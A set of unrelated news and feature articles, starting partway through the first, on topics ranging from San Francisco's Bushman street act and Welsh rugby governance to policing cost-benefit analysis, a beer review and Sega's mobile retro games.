separate acts, sources differ as to whether Jacobs or Johnson was first to come up with the act.  A 2009 article in SFSU's Xpress Magazine says:  Many people are unaware that there are, in fact, two Bushmen. When Gregory Jacobs first came up with this gig, he recruited David Johnson, a man he met at Fisherman's Wharf. As they worked together they developed a close friendship. Johnson's deep voice scares those who unknowingly pass by the man-made bush. Back then, Johnson would hold the bush and Jacobs would tell the jokes, entertain those watching the action, and collect the tips. It has been about fifteen years, and now they are complete enemies. Jacobs accuses Johnson of running off with their money. Jacobs tries to avoid any conflicts with Johnson by not working where and when he is."[7]  However, the San Francisco Chronicle reports that Johnson was the original Bushman, joined by Jacobs in the 1990s. An article from 1999 suggests that Jacobs joined Johnson in a bodyguard role as well as to help with the act: "'I look after him,' says Gregory Jacobs, who recently joined the act as a full partner. 'I watch his back.' [1]  Greg Jacobs was featured in the video "Act (Diogenes)" by the artist Whitney Lynn.[8] Jacobs is also the subject of a short film, The Bush Man.[9] Gregory Jacobs died February 23, 2014 due to heart failure at the age of 60 years old, whilst Johnson remains active.[3]  Bushman Holiday Video [ edit ]  The Bushman was also featured in a holiday video[10] for HEAT, an advertising agency in San Francisco, CA.  See also [ edit ]
-Here's one for those Tui signwriters: Election outcome swayed by billboards. All together now... Yeah Right. Untold effort and expense, if not creativity, goes into producing the myriad of party and candidate hoardings that spring up like unwanted weeds every election campaign, only to disappear on the eve of polling day.  Here's a thought for those who make their living devising and conducting opinion polls. How about a survey seeking to establish whether somewhere, anywhere, a single voter has been empty-headed enough to cast his or her votes based simply – or even partly – on the message contained on a political billboard?  Surely, motorists don't bother to gaze at the motley displays cluttering Nelson gateways such as at Atawhai's Miyazu Park or Bishopdale Hill? Those who do, risk being distracted from the task at hand and tailgating the vehicle in front. Political parties might see any such accidents as mere collateral damage, the price of democracy, but it is tempting to see these billboard forests as no better than inane insults to our intelligence, extreme visual pollution and therefore fair game for those who might seek to "improve" them with a splash of wit and humour.  The large-scale defacing of National Party billboards brought a curious twist, more comedic than nastily machiavellian, to a week dominated by the storm over the cup of tea in Epsom. The Greens are generally thought of as being way too politically correct to even know where the dirty tricks bag was, let alone dip into it. Though tracts of the party's support base have an activist bent, this has expressed itself more in stances on genetic modification or animal welfare than petty vandalism.  They once also had a reputation, among their detractors at least, for possessing heads so clouded with idealism that they could never be capable of a co-ordinated, covert, operation of this nature. Hitting 700 billboards over one evening almost sounds like a modern equivalent of a World War II sabotage raid, behind enemy lines. Besides, adding slogans like "The Rich Deserve More!" and "Drill it! Mine it! Sell it!" to the Nats' hoardings shows more ironic wit than your average earnest Green might be reasonably expected to possess.  The Greens did the right thing by the party they might yet end up in post-election relationship talks with following Saturday's general election, as galling as that might be to the hardliners of both parties. Raid co-ordinator Jolyon White is no longer a member, the Greens helped remove the offending stickers, and maintained hand-on-heart that word of the plan had not reached their upper echelon – even if Mr White's partner, Anne Heins, was co-leader Russel Norman's executive assistant and has since been stood down.  Grassroots members may wonder why Mr White and Ms Heins were not given the Green equivalent of a medal – a kawakawa garland perhaps – rather than being outed and ousted. However, the party has been adopting a more mature, professional line under Mr Norman and co-leader Metiria Turei. This is how the Greens have to play it if they are to enjoy a more significant role in the running of New Zealand – which, on current polling, looks certain.
-Because indoor skydiving wasn’t cool enough already.  Skydiving is arguably one of the more dangerous activities a human being can possibly participate in. However it can also be one of the most intense, life altering moments you’ll ever have the pleasure to experience.  So wouldn’t it be cool to feel the magic of free falling 120 miles per hour without the chance of becoming a pancake on the street? As someone who loves skydiving while at the same time appreciates the value in staying alive, I certainly would.  Enter Tunnel Vision, a brand new experience launched by Virgin Experience Days at Twinwoods Adventure, Bedford, that combines a VR headset with indoor skydiving. Founded by Cody Russell and Tristan Hampson as part of the tech incubator EvoNexus, the immersive new experience creates an intense level of realism by using both VR and actual indoor wind tunnels to accurately simulate the physical sensations of free falling.  A custom-made headset provides high definition 4k, 360-degree video via a private Tunnel Vision app managed and updated directly by the company remotely. Based on the video provided it appears as though the Samsung Gear VR is the primary component of the set-up. Each video displayed on the headset is perfectly synced to the physical jump with the 360 visuals beginning as soon as you enter the wind tunnel. As the flight ends, the software shuts down, revealing the external environment as they exit.  “Tunnel Vision recreates the skydiving environment of jumping out of an airplane with breathtaking views while in the safety of a wind tunnel by using virtual reality. Virtual reality allows people of all ages and risk adversities the chance to experience what it is like to jump out of an airplane while under a coach’s’ supervision in a wind tunnel, making it a safe environment that can be enjoyed year round. When a customer goes to a local wind tunnel they will now have the option to upgrade to the Tunnel Vision™ experience. The customer will then wear a specially designed full-faced helmet with an integrated virtual reality headset and can chose to virtually skydive anywhere in the world!”  Like many before them, the Tunnel Vision team had a few unique speed bumps to overcome before opening the experience to the public. One of the biggest concerns was making sure the VR headset was secured firmly enough to withstand the intense wind speeds within the wind tunnel. The answer to this riddle is a patent pending head-mounted display that utilizes a ratchet system to safely and comfortably secure the VR headset to a larger helmet.  Another concern was the safety of participants while they are flying “blind” in the tunnel. To combat this potential hazard, all jumpers are accompanied by an instructor who remains attached at all times in order to assist with spatial awareness as well as tunnel entrances and exits. I’m also willing to bet they’ll be having some fun at your expense while you’re flying blind. After all, who could resist rapidly spinning an unsuspecting jumper and then watching their reaction as they make a sudden 360 move while in VR? I couldn’t, but maybe I’m just evil.  Tunnel Vision is currently supported by only two locations. The first at Airborne San Diego in California and the second at Twinwoods Adventure in the UK. However according to Russell, “We are targeting the European market first, with plans to expand into 8 tunnels within the Next 6-12 months.”  So how good is the experience exactly? Why not listen to what the British Army’s Parachute Regiment display team, The Red Devils, had to say after trying it out themselves with Virgin Experience Days:
-Copyright by WPRI - All rights reserved  Rochelle Lefebvre - PROVIDENCE, R.I. (WPRI) - More than a quarter of a million people braved the harsh winter to attend events in Providence.  The Rhode Island Convention Center Authority says the Rhode Island Convention Center, The Dunkin' Donuts Center, and Veterans Memorial Auditorium saw more than 355,000 event-goers this year.  "We are pleased with the number of events and people we have had in the buildings this winter." said James McCarvill, Executive Director of RICCA. "Our staff worked diligently to keep the sidewalks cleared and accessible, keeping the parking facilities open and despite it all we only had to reschedule one hockey game, one basketball game and a performance at The VETs."  The three facilities hosted more than 80 events from January 1 to March 25.  "When you have that many people coming downtown to attend our events that means the restaurants, retail owners, and parking garages are busy as well," McCarvill continued. "The weather just didn't cooperate but thankfully people still came downtown to enliven the city."  Some of this year's events included the Auto Show, Spring Flower & Garden Show, the Home Show, Festival Ballet Providence, the Rhode Island Philharmonic Orchestra, the PC Friars and the U.S. Synchronized Skating Championships.
-- Kane and his wife have started a new insurance company in Knoxville, TN called The Jacobs Agency. They offer auto, home, motorcycle, RV, boat, life and commercial insurance, as well as retirement planning.  Kane has told people in the area that he's been planning on retiring from WWE for some time now but it's hard to walk away from the money, so he's going to continue wrestling while he can still make the big money.  There's also a feeling locally in the political world that at some point Kane would be interested in running for public office as a Libertarian party candidate.  Source: Wrestling Observer Newsletter  Subscribe to The Wrestling Observer by clicking here. Each issue has coverage and analysis of all the major news, plus history pieces. New subscribers can also receive free classic issues.
-Wales's four regions will join Premiership Rugby and create an Anglo-Welsh league for a minimum of five years if agreement on the future of the Heineken Cup is not reached by the end of January.  The regions met in Cardiff on Tuesday morning having been given a deadline of midnight by the Welsh Rugby Union (WRU) to continue a participation agreement that would tie them to the governing body for the next five seasons without an increase in funding in real terms.  The regions said that, as there will be no Heineken Cup next season as things stand while Italy has yet to commit to remaining in the RaboDirect Pro 12, they faced losing 10 fixtures and more than half the income they receive from tournaments. The unanimous decision was that continuing the agreement would bankrupt them.  "The WRU do not and could not run their business in such circumstances and neither can the regions," said the four in a statement that was issued shortly after office hours at 5pm, having waited to see if the union would make a late approach for talks.  "The WRU hold full responsibility under the participation agreement for the competition platform and television rights of the regions and it is astonishing that they have put the four businesses in this position as a result of failing to fulfil their obligations under the agreement, despite having almost two years to resolve the issues."  The regions said they remained committed to working with the WRU to secure a sustainable and competitive future for professional rugby in Wales, pointing out that clubs in England and France are increasing their spending after securing lucrative deals.  "We have had no choice but to consider every alternative to secure a truly sustainable future for regional rugby in Wales," the statement continued. "Therefore we reaffirm our commitment to the Rugby Champions Cup under the aegis of Six Nations, which will generate a guaranteed £12m additional funding across the four regions over the next three years and help reduce the funding gap with the French, English, Irish and Scottish clubs.  "A solution must be reached by the end of January 2014. Should this not be possible, the regions will have no choice but to pursue further competition options immediately."  The Rugby Champions Cup was the tournament announced by the English and French clubs in the autumn as a replacement for the Heineken Cup. It was to be run by clubs but the French sides pulled out under pressure fromtheir union, whose plan for a five-nation tournament without the English next season collapsed at an acrimonious meeting in Dublin.  The meeting was held under the auspices of the current tournament organisers, European Rugby Cup Ltd (ERC). The president of the French Rugby Federation, Pierre Camou, walked out when he failed to persuade a majority of the other unions that the Heineken Cup should be controlled by Fira, the organisation that represents the smaller unions in Europe.  The WRU protested when ERC's independent mediator, Graeme Mew, revealed he had spoken to the Welsh regions the day before the meeting and it will take a remarkable swing to achieve consensus about governance within a month. Telephone conversations continued over the holiday period, but if the Celtic unions maintain their opposition to clubs running the commercial side of the tournament, talks between the Welsh regions and English clubs over a 16-team Anglo-Welsh league are so far advanced it would take little more time to set up.  The WRU issued a statement that said it was confident professional teams from Wales would take part in "sanctioned" league and cup competitions, that it envisaged the Heineken Cup continuing under ERC's banner and that it supported the International Rugby Board's regulation that stipulated cross-border tournaments could only take place with the consent of the relevant unions.  The WRU's board meets on Thursday when it will consider its options, including offering central contracts to players such as Leigh Halfpenny, whose regional deal ends this summer, and creating new professional teams to take the place of the regions.  The statement pointed out that the regions had chosen, from next season, not to maintain their contractual right to be the WRU's nominated teams in sanctioned competitions and the battle looks destined for court.
-Watching the debate in this country over public safety, you’d think some people wish to live securely, while others welcome Armageddon. Conservative pundit Bill O’Reilly recently went after “liberal politicians” in Chicago and San Francisco, noting crime in those cities and saying, “The situation is out of control and a disgrace, and that’s what happens when incompetent politicians demand the police stop enforcing laws.”  The truth is, we all want to be safe. The struggle isn’t about outcomes, it’s about methods. Should law enforcement have ready access to everyone’s phone location-tracking data? Should police be required to undergo deescalation training before being authorized to use force?  These aren’t questions to be resolved by free-for-alls on cable news channels. They require facts and analysis. And yet, although the United States shells out well over $100 billion each year for public safety, we have remarkably little idea whether that money is well spent. It’s possible that any given policing tactic or technology — from Tasers to facial-recognition systems to body cameras — is a fine or poor idea. But we really don’t have much sense of which tactics and tools work, or whether they are worth the cost. We don’t know how much money we may be wasting, or whether we are compromising civil liberties, or harming people or property, without good reason.  Throughout the rest of government, we use cost-benefit analysis to answer these sorts of questions. (Many economists prefer to call it benefit-cost analysis, or BCA, rightly asking: Why worry about the costs until we know if there are any benefits?) Whether it is environmental regulation, workplace safety, financial rules or the provision of health care, BCA is pervasive. But as a 2014 report by the Vera Institute of Justice pointed out, BCA has not been widely taught or used in criminal justice. That’s a stark understatement when it comes to policing.  Take ShotSpotter, a technology that uses sound waves to pinpoint where a gun has been fired. The product is marketed as allowing police to know about gunshots and respond quickly, especially in neighborhoods where people aren’t inclined to call the cops. ShotSpotter leases the technology to cities at a cost of $65,000 to $95,000 per square mile per year. This is serious money for cash-strapped cities, so the question naturally is: Is it worth it? To answer this, we’d want to see good data on whether the technology is helping cops nab shooters, whether there are fewer shots fired when it is in place or whether gun violence is down. And we’d then want to know if the technology is more effective than an alternative, such as hiring more officers.  Unfortunately, it is harder than it should be even to get data to do BCA around policing. The reasons for this are many. An unnecessary cloak of secrecy envelops too much policing. Law enforcement’s instinct is to give no information beyond what is necessary, making democratic engagement with policing extremely difficult. Additionally, the technologies for police data collection are in many ways primitive, as anyone who has watched a police officer filling out incident reports in duplicate on the back of a cruiser knows. There are about 18,000 departments, and aggregated data would be useful, but we often don’t have it.  In ShotSpotter’s case, though, the problem is different. Much of policing technology is being privatized, and private vendors — claiming trade secret protection — shield data from the public and researchers. We can’t evaluate policing technologies unless we can connect the use of those technologies with results.  In the modern era of deterrent-based policing, assessing the benefits of law enforcement has become both more important and more difficult. Rather than simply chasing bad guys, policing has put more focus on discouraging crime in the first place. Take airport security: Anyone who carries a bomb through a checkpoint will be arrested. But the point of the fortune we spend on airport security is to prevent people from even contemplating such an attack. The same may be said of closed-circuit TV cameras that peer down at us all over our cities and the deployment of many other technologies. The goal is to deter crime entirely.  It is one thing to count crimes that did happen; it is quite another to count crimes that didn’t. We can, of course, compare crime rates before and after a new technology or tactic is put in place, but it is hard to establish the cause of any trends. Did crime go down because of that new tactic, or did it decline for other reasons? For low-incident crimes such as terrorism, we can’t measure a meaningful before-and-after anyway.  Law enforcement agencies often are unclear about the specific crime-fighting benefits they hope to achieve when adopting technologies. Those technologies tend to spread by word of mouth: If Department A has a new tool, then Agency B wants it, too — officials don’t always put much thought into the precise purpose of a tool or whether something else (maybe something they already have or something cheaper) could achieve the same thing.  A good example is the curious case of automatic license plate readers: fixed cameras, or cameras installed on police cars, that capture and digitize images of license plates. Initially, LPR technology was sold as a way to reduce car theft. But with auto theft declining anyway, and at $10,000 or more for each mobile unit and $100,000 per fixed unit — not including maintenance, upgrades, and data storage and retrieval systems — it was hard to justify the cost. Then it occurred to departments that they could store the data and call it up in investigations; if they are looking for a van with a certain plate number, stored records may indicate where that van travels frequently or even where it parks. One hears anecdotes about LPR helpfully deployed this way. And yet, success stories tend to rely on randomness: A police car happened to drive by the van at some point and dumped that data into the system. The benefits of what is basically random enforcement are likely to be small.  The latest emerging justification for LPR is as part of policing for profit. A private vendor, Vigilant Solutions, gives LPR technology to departments for “free” and incorporates all plate captures into its database. Vigilant then uses that data to create an extensive “hot list,” composed, in particular, of vehicles with outstanding traffic fines. When cops get a ping they can pull a car over; police cruisers in some jurisdictions even are being equipped with credit card machines for instant payment. What’s in this for Vigilant? It gets a 25 percent “processing fee.”  Even if the benefits of certain policing tactics can be assessed, figuring out the full costs of any given tactic or technology is essential, albeit difficult. We can calculate the price tag of the technology itself, or perhaps the cost of more officers or new training. But what about the curtailing of civil liberties? What about the social costs? How do you put a price on public dissatisfaction with the way the police are doing their jobs? What about a potential loss of community trust?  Use of stop-and-frisk has been on the decline in some major cities, in part because of litigation (a cost in and of itself), but Donald Trump revived the debate with a shout-out during his presidential campaign. The evidence on whether stop-and-frisk works is thin. A 2008 study found that more police stops led to fewer robberies, burglaries, vehicle thefts and homicides — but did not reduce assaults, rapes or grand larceny. A 2014 study took the earlier study’s methodology to task and called into question the robbery and burglary results. One review of the empirical evidence suggested that during the height of stop-and-frisk in New York, fewer youth were carrying guns. Still, that study’s author conceded that the “strongest argument that New York City’s aggressive policing strategies … contributed to its plummeting crime rate” was “the absence of alternative explanations.” That’s not social science, it’s conjecture. And, of course, New York has since dramatically reduced stop-and-frisk, and crime continues to fall.  Even if stop-and-frisk were effective in curtailing gun violence (putting constitutional arguments to one side), we would still have to look at the social costs of the practice. We’d want to put a value on a loss of trust in the police, contributing to an environment in which some people in some neighborhoods don’t call the cops when shots are fired. That’s why ShotSpotter is appealing in the first place. We should also consider the physical violation, the loss of time and liberty, the psychological costs of stop-and-frisk. Suppose the cost of being stopped out of the blue, put against a wall and having hands run over your body is $100, which does not seem entirely unreasonable. In New York in 2011 there were more than 300,000 stop-and-frisks, at a cost of more than $30 million using this estimate. That gives a sense of what the benefits would have to be in order to justify those costs.  The challenges of calculating the costs and benefits of policing should not dissuade us. If BCA can be applied to complicated and controversial subjects such as environmental regulation, such calculations can be applied to public safety.  It would help if public safety agencies and contractors were more forthcoming with their data. When trade secrets are a concern, private companies such as ShotSpotter and Vigilant could make their data available for researchers but require nondisclosure agreements. A ShotSpotter board member was quoted in Forbes as saying it would be beneficial to have an independent study. Companies that believe in their products should be willing to undergo outside testing. Tech companies could also lend their expertise to help police departments modernize their data collection and analysis efforts.  Government could play a big role here. Indeed, although there is debate and confusion over the role of the federal government in local law enforcement, dollars spent by the federal government in assessing what keeps us safe, and what is plain wasteful, are likely to be dollars well spent.  Not-for-profits have a part, too. They can team up with policing agencies to run BCA evaluations on tactics and tools such as vehicle pursuits and deescalation training.  Public safety is foundational in society. We spend a fortune on it. It seems that it’s not too much to ask that we devote resources to figuring out what works and what does not, and whether we could do better.  Barry Friedman is a professor at New York University School of Law and the director of its policing project.  To send a letter to the editor about this article, submit online or check out our guidelines for how to submit by e-mail or mail.
-Here comes Abita Brewing again with yet another new release beer. I think in the past few months I’ve seen about 8 or 10 new and different beers from Abita, both on tap and in the bottle. That’s a good thing, as it’s nice to see the evolution of Abita bearing fruit with some very tasty beers indeed. To be sure, Abita has had a full line of seasonals for decades now, and they have been doing an “Abita Select” series of specialty draft brew, too. Of late, though, they’ve really begun to bottle more one-offs and new seasonals, too.  Abita is no newcomer to the brewing industry, having opened their doors in the early days of the craft brewing movement back in 1986. They are more of a regional brewer and not at all a microbrewer, since their current production of 151,000 barrels a year is about 10 times the microbrewery limit. To those beer enthusiasts today who pooh-pooh regionals like Abita in favor of the latest “whale”, I can only say that you don’t know what you’re missing.  Case in point: Abita Imperator Black IPA. I picked up a bottle a few weeks ago at Sherlock’s in Marietta, Georgia and as they only had it in the cold case, tossed it in the fridge and drank it the next evening. Here’s what the brewery says about Imperator from the painted bottle label:  In ancient times, The Imperator was the supreme commander who led his troops to victory, just as today’s Mardi Gras lieutenants kick off the carnival parades. Abita Imperator is a robust, black IPA brewed with pale, caramel, chocolate and black malts. It commands your attention with an intense hop flavor and aroma provided by Apollo, Cascade, Centennial, Citra, Mosaic and Amarillo hops. With a mighty malt flavor and intense black color, the Abita Imperator reigns supreme.  Abita Imperator Black IPA has an alcohol content of 8% by volume, which actually make it a double India Dark Ale in my book. I do prefer the term India Dark Ale to black IPA after all, since how can a beer be black and pale at the same time? Be that as it may, the beer has 90 IBUs and I paid just $5.99 for my 22-ounce bomber bottle. The painted label bottle is so neat, too, I’m having a hard time recycling it.  Abita Imperator Black IPA pour to a dark brownish to light black color with a thick creamy tan head and a rich deep piney resiny nose. Taking a sip, the beer has some smooth chocolate pudding notes up front followed by lots of pine and resin in the aroma and flavor. I’m hard to please on this style, and I don’t want too much body (or you get a stout) but this one gets it right in that category. It’s delicious in the finish with lots of pine and citrus and a long dry bitter finish, too. I really love the light roastiness and the piney citrusy hop aroma here folks. It even has decent hop burps.  Another winner from Abita that you’ll definitely want to try my friends.  And remember, try a new beer today, and drink outside the box . *Pricing data accurate at time of review or latest update. For reference only, based on actual price paid by reviewer. (B)=Bottled (D)=Draft  
-Spread the love  Cumberland County, NJ — Gerald Sykes, 76, and his wife, woke up Friday night to their dogs barking and flashlights shining through their windows. Sykes immediately grabbed his shotgun and proceeded to the living room to defend his home. Sykes is now fighting for his life in a New Jersey hospital after he was shot by these intruders.  The intruders were cops.  Sykes had done nothing wrong that night and was shot because of police incompetence. According to police, two state troopers were investigating a 9-1-1 hang up call when they responded to Sykes’ residence. However, after police put the innocent man in the hospital, the attorney general’s office said Saturday it was discovered later that cops went to the wrong house.  Sykes never made a 9-1-1 call — until after he was shot by cops.  According to the police report, Sykes fired a single round through the sliding glass door to his home thinking he was the victim of a home invasion. He was correct, unfortunately.  During the incident, police officers fired four rounds. Three of those rounds struck Sykes.  Sykes was then airlifted to Cooper University Hospital in Camden where he was reported in critical but stable condition, officials said.  He ‘felt intruders were trying to get in and he was yelling to his wife to call 911,’ Rich Kaser, longtime family friend, and attorney told NJ.com.  Sykes ‘thought there were bad people out there,’ the friend added.  The police report states that Sykes fired first. However, Kaser said the family told him it was one of the two state troopers who fired first at the elderly man after seeing him standing in the living room with a shotgun.  When looking at the photo of the bullet holes, it appears to back up the family’s story.  Sykes was hit with three rounds. In the above image, we can see three bullet holes grouped closely together with a single 4th round away from those. If the officer fired all four rounds together, they likely would have been grouped together — but it is clearly not the case.  As NJ.com reports,  According to Kaser, Sykes himself, despite being seriously wounded, also called 911 for help. Kaser said Sykes was ordered to come out of the house. His shirt now soaked in blood, his attorney said, he was helped out by his wife and then ordered to lay face-down on the ground and was handcuffed. Sykes’ family was told Sykes was under arrest, according to Kaser, and the elderly man was then taken in handcuffs to be treated.  According to the report, one of the troopers was hit with broken glass or by a portion of the shotgun round. He was treated and immediately released.  Sykes, on the other hand, was not so lucky. His family members are hoping that he pulls through.  Sadly, police responding to the wrong home and hurting or killing innocent people and their pets is common. In June, Georgia cops went to the wrong home and killed William Powell.  Last month, on two separate incidents, cops responded to the wrong home and shot two dogs. One of the dogs was killed in front of multiple children at a 5-year-old boy’s birthday party.  Last September, Georgia cops broke into an innocent couple’s home as they watched a movie on the sofa. During the gross act of negligence, the officers shot the homeowner, killed his dog, and then shot each other!  The list goes on.
-Sep 26, 2016; New Orleans, LA, USA; New Orleans Saints defensive back Roman Harper (41) is called for a horse collar tackle penalty as he tackles Atlanta Falcons running back Tevin Coleman (26) is during the first quarter of a game at the Mercedes-Benz Superdome. Mandatory Credit: Derick E. Hingle-USA TODAY Sports  The NFL is through 4 weeks now with an abundance of former Indiana Football players getting opportunities. How are they fairing this season?  Football school? Not quite, but some of the standouts from Indiana’s Football program are getting their opportunities of late. In total, there are eight former Hoosiers on current NFL rosters across the league. Here is how they are doing so far:  Jordan Howard, Running Back – Chicago Bears  Jordan Howard has been an extremely pleasant surprise in his rookie year with the Chicago Bears. Drafted in the 5th round this year, Howard was overlooked by an abundance of other teams in the NFL. The struggles the Bears faced after an 0-3 start to the season in combination with nagging injuries to Jeremy Langford and Kadeem Carey paved an opportunity for Jordan Howard to start on Sunday.  Howard took that opportunity and ran with it, literally.  The rookie running back posted 111 yards on the ground in 23 attempts while catching 3 passes for 21 yards in the Bears route to their first home win in almost a calendar year. Howard had the chance to get on the field in the first few games but nothing to the magnitude of week 4.  Coach John Fox said post-game, “We noticed pretty early on. Jordan is a big back and we knew that when he came out of Indiana University. The thing we didn’t know is the quickness of his feet and the vision he has. I think he’s outstanding and we will ride him pretty good going forward.”  Howard was the first running back to post 100 yards or more since Matt Forte in Week 1 in 2015 against the Green Bay Packers.  Tevin Coleman, Running Back – Atlanta Falcons  Second year running back Tevin Coleman had an impressive career at Indiana, leading the team in rushing in his junior year with 2036 yards on the ground before being drafted in the 3rd round of the 2015 NFL Draft.  Coleman played in 12 games in his rookie year but struggled for the better part of the 2015 campaign. He fell on the depth chart to Devonta Freeman who had a breakout year for the Falcons.  2016 has been a year of new opportunities for Tevin Coleman though, who stepped into a dynamic role with Freeman. The two backs have combined for 693 yards on 114 attempts with 6 touchdowns. 4 of the 6 touchdowns coming from Tevin Coleman.  Coleman has shown major improvement in being able to catch the ball out of the backfield, opening up plenty of opportunities for quarterback Matt Ryan to expand on the offense. The diverse transition from Freeman being the main back to a dynamic duo of Coleman and Freeman has served well for the Falcons as they are off to a 3-1 start.  Tevin Coleman might not play this week against the Denver Broncos though. He carries the sickel cell trait which a unique blood disorder that can cause complications when under extreme physical and environmental conditions. With the Broncos playing nearly a mile above sea level, it can become a very tricky situation for the running back and the team. We will continue to monitor his situation as it develops.  Jason Spriggs, Offensive Tackle – Green Bay Packers  The Green Bay Packers have been known to invest in their young guns, especially on the offensive side of the ball. It becomes no different when they decided to move up in the 2nd round of the 2016 NFL Draft to select All-American Jason Spriggs with the 48th pick.  Spriggs in large part was one of the most successful tackles Indiana has ever produced, giving the offensive reason to be noted in last year’s bowl run.  The Packers seemed so devoted to allowing their rookies, especially Spriggs, have opportunities to develop that they released 3-time Pro Bowler Josh Sitton right before the fourth pre-season game this season. It has left unanswered questions as to who might step up for the Packers line.  Spriggs has played in all four games so far this season and will continue to see a starting role until further notice. Being the guy that Aaron Rodgers relies on to give him time in the pocket could serve extremely beneficial for Spriggs progression. I see plenty of Pro Bowl potential in Jason Spriggs as he continues his NFL career.  Darius Latham, Defensive Tackle – Oakland Raiders  Darius Latham went into the 2016 NFL Draft with high expectations, hoping he would get the shot to continue his career as a dynamic defensive back in the NFL. After the first 5 rounds, his name was uncalled. Another 100 picks went by without hearing his name called. He later signed a contract with the Oakland Raiders and made the opening day roster.  A great turn around for a player who seemed to be avoided in the draft because of his March DUI arrest. Latham has proven on the field that he has the talent to be a quality defensive back and help improve a already quality Raiders defensive. While Latham has not recorded a tackle yet in 2016, he has 4 assists in the first 4 games.  Cody Latimer, Wide Receiver – Denver Broncos  A standout season in his junior year with Indiana back in 2013 sent Cody Latimer straight to the NFL draft. 1096 receiving yards and 9 touchdowns was good enough for him to be selected in the 2nd round of the 2014 NFL Draft.  Unfortunately, it has been difficult for Latimer to see any playing time in his first three seasons in the NFL. He backs up behind two stand out receivers in Demaryius Thomas and Emmanuel Sanders who see the bulk of the targets. Interestingly enough, Latimer is listed as the third receiver on the depth chart, but seemingly Josh Norwood has been seeing more targets than Latimer.  One bright side to Latimer is that he has been able to play with one of the best quarterbacks to ever step on the field in Peyton Manning in his first two seasons. He learned the ropes of how to be a successful wideout from Thomas, Sanders and could play a key role moving forward.  Let’s not forget he also has a Super Bowl ring at the age of 25. Not too shabby.  Tracy Porter, Cornerback – Chicago Bears  Tracy Porter is a veteran of the NFL playing in his 9th season with his 4th team. Drafted in 2008 in the 2nd round to New Orleans Saints he has become an essential part of the Chicago Bears defense.  Porter signed a one year deal last year with the Chicago Bears and then a three year extension after quite the impressive showing. While the Bears have been desperate for talent in the cornerback position, Porter provides veteran leadership to a defense filled with new faces.  Other notables: Nate Sudfeld, Quarterback – Washington Redskins; Rodger Saffold, Guard – Los Angeles Rams
-Rev. Ellen Di Giosia of the First Baptist Church of Jefferson City, Tennessee.  The Tennessee Baptist Convention affirmed on Tuesday a decision to ban the First Baptist Church of Jefferson City from voting at the conservative organization’s annual meeting.  WBIR News reported the decision was based on a resolution stating “a church whose office of pastor is held by a woman is not a cooperating church.”  Following a 17-month process by a nine-member search committee and vote of the congregation during two Sunday services, Rev. Ellen Di Giosia was named pastor of First Baptist in June.  “It wasn’t a surprising decision, it’s sad. It’s sad because we believe that cooperation is a hallmark of Baptist life,” Rev. Di Giosia told WBIR. “Although one of our Baptist affiliations has changed, FBC Jefferson City is the same congregation we were yesterday. We will still gather to worship, study, and pray.”  In 2015, Di Giosia told Baptist Women in Ministry of the challenges she had faced as a female pastor.  “Even in churches that hire and affirm women in ministry, there are still pockets of patriarchal weirdness,” Rev. Di Giosia explained. “I’ve been told to always wear jackets so that my elbows don’t show, have received official church correspondence addressed to ‘Mrs. [husband’s name],’ and listened as colleagues said that we couldn’t invite a woman to preach because ‘we just had one last month.’”  Rev. Di Giosia was at the time an associate pastor in Texas, and explained the intense pain she had experienced.  “In one case, it became too difficult to stay, and in another, I chose to ride out an intense storm. Using family systems theory has been helpful in these cases. Asking questions such as what does it mean to bear the anxiety of a system? How can I be the presence of Christ when that anxiety has begun swirling around me?,” Di Giosia explained. “But even when you identify things academically, it is still intensely painful.”  The Tennessee Baptist Convention is the Southern Baptist Convention’s state affiliate with 3,200 affiliated churches.  “It is regrettable when one of our churches makes a decision that results in a broken confessional relationship with our TBC network of churches,” Tennessee Baptist Mission Board President and Executive Director Randy C. Davis told the Knoxville News Sentinel.  The First Baptist Church traces it’s origins to the 1830s. After 140 years of partnership with the Tennessee Baptist Convention, the church says all ties have now been severed.  “This is an opportunity for [the convention] to be clear about who they are, and so we have made it an opportunity for us to be clear about who we are as a congregation,” Pastor Di Giosia told WVLT News.
-Sega is bringing a collection of its finest retro video games to iOS and Android devices via a new service called Sega Forever. Unlike its past mobile releases—which include the likes of Sonic the Hedgehog and Football Manager Mobile—the entire Sega Forever line-up is free-to-play and supported by ads. Players can optionally remove the ads via an in-app purchase for £2 (~$2.50).  There are five games in the Sega Forever launch line-up, consisting of the original Sonic the Hedgehog, RPG Phantasy Star II, beat 'em up Comix Zone, platformer Kid Chameleon, and the original Sega Mega Drive (Genesis) pack-in game Altered Beast. An iOS and Android version of the classic Dreamcast game Crazy Taxi launched in May, which is also free-to-play. Additional games are promised to launch every two weeks.  Although the launch line-up is exclusively made up of Mega Drive games, the Sega Forever Twitter feed has teased shots of other consoles, including the SG 1000, Dreamcast, and Saturn. How Sega tackles the Saturn will be particularly interesting given the difficulty developers have had creating a working emulator for the console's classically esoteric hardware.  While some Sega Forever games have previously been released on mobile, Sega has promised that all have been updated with modern features including cloud saves, controller support, and leaderboards. All games are also playable offline, regardless of whether users are playing the ad-free or ad-supported version. iOS players will receive a free iMessage sticker pack alongside each game.  Sega's previous retro catalogue has been largely well-received on mobile, but some games have suffered from performance issues. This is largely down to the use of emulators—which mimic original hardware and play Mega Drive ROMs—rather than ports made specifically for Android and iOS devices. For instance, an early emulated version of Sonic the Hedgehog was replaced by a superior port in 2013 alongside a port of Sonic CD. Christian Whitehead, the fangame developer behind the ports, has since moved in-house at Sega, developing the upcoming Sonic Mania for Xbox One, PlayStation 4, and Nintendo Switch.  Update: Sega Forever "will include both official emulations and ported games that span all Sega console eras." Sega has confirmed to Ars Technica that SG-1000, Master System, and Mega Drive/Genesis games will be run via an emulator, while Saturn and Dreamcast games will be direct ports.  The first set of Sega Forever games launches shortly on iOS and Android. Further games will launch every two weeks.
